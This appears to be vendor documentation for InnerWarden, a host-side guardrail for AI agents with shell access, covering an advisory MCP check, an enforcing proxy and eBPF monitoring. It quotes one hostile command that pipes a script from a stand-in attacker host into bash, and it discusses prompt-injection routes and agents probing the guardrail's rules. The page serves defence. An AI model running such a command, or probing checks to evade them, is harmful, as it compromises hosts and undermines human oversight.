AI Agent Guardrail

For: anyone running an AI agent (Claude Code, Cursor, an autonomous runner) that can touch a real shell, and who wants a safety layer the agent cannot talk its way past.

The big idea: the safety layer lives outside the agent

An AI agent that can run shell commands is genuinely useful and genuinely risky. The risk is not that the model is evil. The risk is that it can be tricked: a poisoned file, a malicious web page, a booby-trapped pull request, a prompt-injection buried in a tool result. Once the model is convinced it should run curl http://evil/x.sh | bash, any guardrail that lives inside the model is inside the thing that just got fooled.

InnerWarden puts the guardrail somewhere the trickery cannot reach: on the host, outside the agent. It screens what the agent tries to do before it happens, and it watches what actually executes underneath with eBPF. If the agent is compromised, lies, or simply never asks, the host is still watching the syscalls that result. That separation is the whole point, and it is what makes InnerWarden's agent guardrail different from a clever system prompt.

This page explains the three layers and, importantly, what a hostile agent can and cannot bypass. To actually wire your agent in, go to Connect Your Agent. To adapt InnerWarden safely to your machine without handing an attacker a free pass, see Safe Observe and Allowlist.

---

The three layers

Think of them as three rings, from "the agent voluntarily asks" to "the agent has no say in the matter."

Layer 1: the MCP server, advisory front door (agent mcp-serve)

This is the cooperative layer. Run InnerWarden as an MCP server and your agent can ask it, before it acts:

• is this command safe? (innerwarden_check_command returns deny / review / allow)
• is this IP a known threat? (innerwarden_check_ip)
• what is the host's threat level right now? (innerwarden_security_context)

innerwarden agent mcp-serve

It speaks MCP over stdio, so your MCP client spawns it locally. Under the hood it is a thin adapter over the same loopback brain described below, so the answers are consistent with everything else InnerWarden knows.

What it is good for: a well-behaved agent that wants to do the right thing gets a fast, local "should I?" before every risky step, and a denied command gives the agent a clear reason to stop and tell the human.

What it is not: enforcement. A compromised or careless agent can simply not call the tool. Advisory means advisory. That is why this is the front door, not the lock.

Layer 2: the MCP inspecting proxy, enforcement in the path (agent proxy)

This is the enforcement layer for MCP traffic. Instead of trusting the agent to ask, you wrap the MCP server the agent uses, so InnerWarden sits in the path of every tool call:

innerwarden agent proxy --mode guard -- npx -y @some/mcp-server

Now the agent's tool calls flow through InnerWarden. It inspects the arguments of each call, watches for poisoned tool descriptions (a server that tries to inject instructions through its tool list) and for injection smuggled back in a tool result, and acts according to the mode:

--mode	What it does
advisory	Transparent pass-through, alerts only. Good for first-run observation.
warn	Pass through but flag risky calls loudly.
guard	Block a dangerous call and return a denial to the agent (the call never reaches the server).
kill	Block and terminate the session.

The agent cannot skip this layer for traffic that goes through the proxied server, because there is no "around." The bytes physically pass through InnerWarden.

Layer 3: the host eBPF and Execution Gate, catches it even if the agent never asks or lies

This is the layer that does not depend on the agent cooperating at all. Whatever an agent (or a process the agent spawned, or malware the agent was tricked into fetching) actually does on the box shows up as syscalls, and InnerWarden's sensor is watching those with eBPF: process execution, network connections, file reads of credential paths, privilege changes, and more. That feeds the same detectors, correlation rules, and response skills that protect the host from any attacker. See What It Detects.

The optional Execution Gate (part of the paid Active Defence layer) goes one step further: a kernel allowlist for binaries. When armed, the kernel refuses to execute any binary that is not on a signed allowlist, returning a hard denial before the program ever runs. An agent that fetched and tried to run an unknown binary is stopped at the exec, no matter what it told anyone. The Execution Gate ships with an observe mode (log, block nothing) and a rehearsal that proves zero legitimate denials before you ever arm it. The safe path into arming it is owned by Safe Observe and Allowlist.

---

Advisory vs enforcement: what a hostile agent can and cannot bypass

This is the part to get right, because "we put a guardrail on the AI" means nothing if the AI can route around it. Be precise about which layer holds under a hostile agent:

If the agent is...	Layer 1 (mcp-serve, advisory)	Layer 2 (agent proxy, enforcement)	Layer 3 (host eBPF / Execution Gate)
Cooperative	Asks first, obeys deny / review	Calls pass through, clean ones proceed	Quietly confirms the host stays healthy
Careless / buggy	Might forget to ask, bypassable	Still inspected, holds	Still watched, holds
Compromised / hostile	Will not ask, bypassable	Still in the path, holds	Still produces syscalls, holds

The honest summary: Layer 1 is bypassable on its own because it relies on the agent choosing to ask. The enforcement that does not depend on the agent cooperating is Layer 2 (for MCP traffic) plus Layer 3 (for anything that actually runs on the host). Use the advisory layer for ergonomics and a clean stop-reason for good agents. Rely on the proxy and the host layers for the guarantee.

One more deliberate design choice: when an agent calls the advisory check and gets a deny or review, the reason it gets back is generic ("matches a dangerous pattern"). It never reveals which specific rule fired. That is on purpose. A hostile agent that could see the exact rule could iterate against it to find a phrasing that slips through. Every check is also logged, and probing patterns alert the operator. The detection internals never cross the guardrail boundary.

---

The loopback Agent API (what the front door actually talks to)

Underneath both mcp-serve and any custom integration is a small HTTP brain bound to 127.0.0.1:8787 (loopback only, no credentials needed from on the box):

• POST /api/agent/check-command returns a decision of deny, review, or allow
• GET /api/agent/security-context returns threat level, incident counts, and a recommendation
• GET /api/agent/check-ip?ip=<addr> says whether an IP is a known threat or already blocked

These are the contract a coding agent consults at runtime. The exact request and response shape, plus copy-paste examples, live in Connect Your Agent. Keep these endpoints on loopback. Exposing them to the network would turn your private "should I?" brain into a public oracle that anyone could query.

---

Managed-agent coexistence: it will not sever the agent it guards

There is an obvious failure mode in all of this. If InnerWarden guards an AI agent, and that agent's normal startup looks a little like an attack (it reads its own .env, it connects out to its own Slack or its model provider), a naive guardrail would auto-block the destination and kill the agent it was supposed to protect. That is exactly the kind of self-inflicted outage that makes people turn safety tools off.

InnerWarden handles this explicitly. It recognises a legitimate, co-located agent it is meant to guard and withholds the auto-block and kernel-deny response for that agent acting on its own services. The recognition is deliberate and strict:

• a registry hit (the agent was connected via Connect Your Agent), kept in sync automatically so it survives an agent restart,
• a live /proc/<pid>/cmdline re-identification of a known agent signature,
• an executable path on a root not writable by an attacker,
• a config path owned by the agent's own user, not a credential file like /etc/shadow.

All of these are re-verified live and fail closed. Crucially the relaxation is source-based (it trusts the verified agent identity), never destination-based (so it keeps working when the agent's Slack or model-provider IP rotates, and a known-bad destination still forces the block). And it is a downgrade, never a silence: the event still fires as an incident and you are still notified, InnerWarden just does not pull the trigger on the agent it is meant to protect. If the agent is impersonated, or it starts reading a foreign secret and exfiltrating, the exemption does not apply and the block lands.

---

Where to go next

• Wire your agent in, step by step: Connect Your Agent
• Adapt InnerWarden to your machine without blind-trusting what is running: Safe Observe and Allowlist
• The contract for what the autonomous response will and will not do on its own: Trust and Safety Invariants
• What the host layer actually detects: What It Detects